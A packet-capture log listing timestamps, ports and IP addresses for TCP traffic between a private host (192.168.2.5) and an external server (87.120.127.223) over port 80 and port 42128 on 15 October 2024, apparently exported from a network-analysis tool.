Oct 15, 2024 19:22:10.681926012 CEST	49706	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:10.981679916 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.981738091 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:10.982037067 CEST	42128	49706	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.984028101 CEST	42128	49706	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.984059095 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.984133005 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.984153032 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.984179974 CEST	42128	49706	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.984186888 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:10.984203100 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.984245062 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:10.984289885 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.984311104 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.984353065 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:10.984399080 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.984419107 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.984463930 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:10.984545946 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.984565973 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.984591961 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.984605074 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:10.984679937 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.984699011 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.984724045 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:10.985568047 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.985586882 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.985613108 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.985622883 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:10.985671997 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:10.985733032 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.985750914 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.985790968 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:10.989118099 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.989134073 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.989190102 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:10.989799976 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.990108013 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.990168095 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:10.990226030 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.990241051 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.990298033 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:10.990372896 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.990463018 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.990525007 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:10.991394997 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.991477013 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.991496086 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.991523981 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:10.991574049 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.991594076 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.991617918 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.991635084 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:10.991672039 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:10.991832972 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.991985083 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.992036104 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:10.992240906 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.992255926 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.992309093 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:10.994077921 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.994098902 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.994122982 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:10.994146109 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.025738001 CEST	49706	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.038914919 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.038930893 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.038955927 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.038995981 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.039035082 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.039050102 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.039068937 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.039093971 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.039119005 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.039278984 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.039364100 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.039448977 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.039575100 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.039594889 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.039619923 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.039643049 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.039669991 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.039762020 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.039807081 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.039822102 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.039858103 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.040043116 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.040057898 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.040093899 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.088176012 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.157742977 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.157800913 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.157830954 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.157854080 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.157857895 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.157874107 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.157907009 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.157907963 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.157932997 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.157953024 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.157953978 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.157978058 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.157999992 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.158009052 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.158031940 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.158052921 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.158056021 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.158102989 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.158139944 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.158159971 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.158185005 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.158204079 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.213159084 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.235197067 CEST	42128	49706	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.275710106 CEST	49706	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.276149988 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.276190042 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.276209116 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.276263952 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.276318073 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.276338100 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.276365042 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.276374102 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.276388884 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.276406050 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.276416063 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.276436090 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.276453972 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.276458979 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.276495934 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.276513100 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.276669979 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.276700020 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.276715040 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.276741028 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.276786089 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.276829958 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.276849985 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.276875019 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.276891947 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.277070045 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.277117968 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.277117968 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.322530985 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.394161940 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.394218922 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.394236088 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.394259930 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.394279003 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.394395113 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.394412041 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.394423008 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.394438982 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.394460917 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.394467115 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.394490004 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.394494057 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.394546032 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.394865036 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.394893885 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.394934893 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.394943953 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.394993067 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.395010948 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.395044088 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.395103931 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.395124912 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.395153999 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.439702988 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.439748049 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.439752102 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.494421959 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.514698029 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.514739990 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.514755964 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.514780998 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.514808893 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.514847040 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.514879942 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.514903069 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.514924049 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.514945984 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.514961004 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.514985085 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.515305996 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.515434027 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.515450954 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.515501022 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.515502930 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.515543938 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.515598059 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.515629053 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.515649080 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.515676022 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.515691042 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.516918898 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.560065031 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.560112000 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.560132980 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.560163975 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.603774071 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.635158062 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.635206938 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.635229111 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.635271072 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.635360956 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.635392904 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.635416031 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.635437965 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.635454893 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.635482073 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.635869026 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.635878086 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.635898113 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.635938883 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.635968924 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.635977030 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.635998011 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.636023045 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.636045933 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.636050940 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.636099100 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.636291027 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.636347055 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.636368990 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.636403084 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.678406000 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.678447962 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.678466082 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.678492069 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.678524017 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.754972935 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.755090952 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.755105972 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.755172014 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.755201101 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.755220890 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.755274057 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.755319118 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.755337954 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.755369902 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.755398989 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.755412102 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.755454063 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.755507946 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.755527020 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.755553007 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.755568027 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.755598068 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.755626917 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.755641937 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.755693913 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.755718946 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.756026030 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.756074905 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.756089926 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.756109953 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.756158113 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.797339916 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.797379017 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.797400951 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.797422886 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.797441006 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.797482014 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.874608994 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.874649048 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.874666929 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.874711037 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.874726057 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.874747038 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.874771118 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.874818087 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.874838114 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.874898911 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.874949932 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.874980927 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.875000000 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.875000000 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.875044107 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.875107050 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.875127077 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.875250101 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.875363111 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.875454903 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.875472069 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.875508070 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.875597954 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.875643015 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.875685930 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.875704050 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.875756979 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.915576935 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.915631056 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.915646076 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.915680885 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.915756941 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.993580103 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.993627071 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.993638992 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.993683100 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.993710995 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.993731022 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.993757963 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.993757010 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.993782043 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.993813992 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.993849039 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.993990898 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.994647980 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.994679928 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.994740963 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.994760036 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.994781017 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.994820118 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.994828939 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.994875908 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.994898081 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.994914055 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.994920969 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.994940042 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.994961023 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:11.995073080 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.995090961 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:11.995121002 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.033866882 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.033921003 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.033945084 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.033946991 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.033993959 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.077716112 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.077995062 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:12.078053951 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:12.112006903 CEST	80	49705	87.120.127.223	192.168.2.5
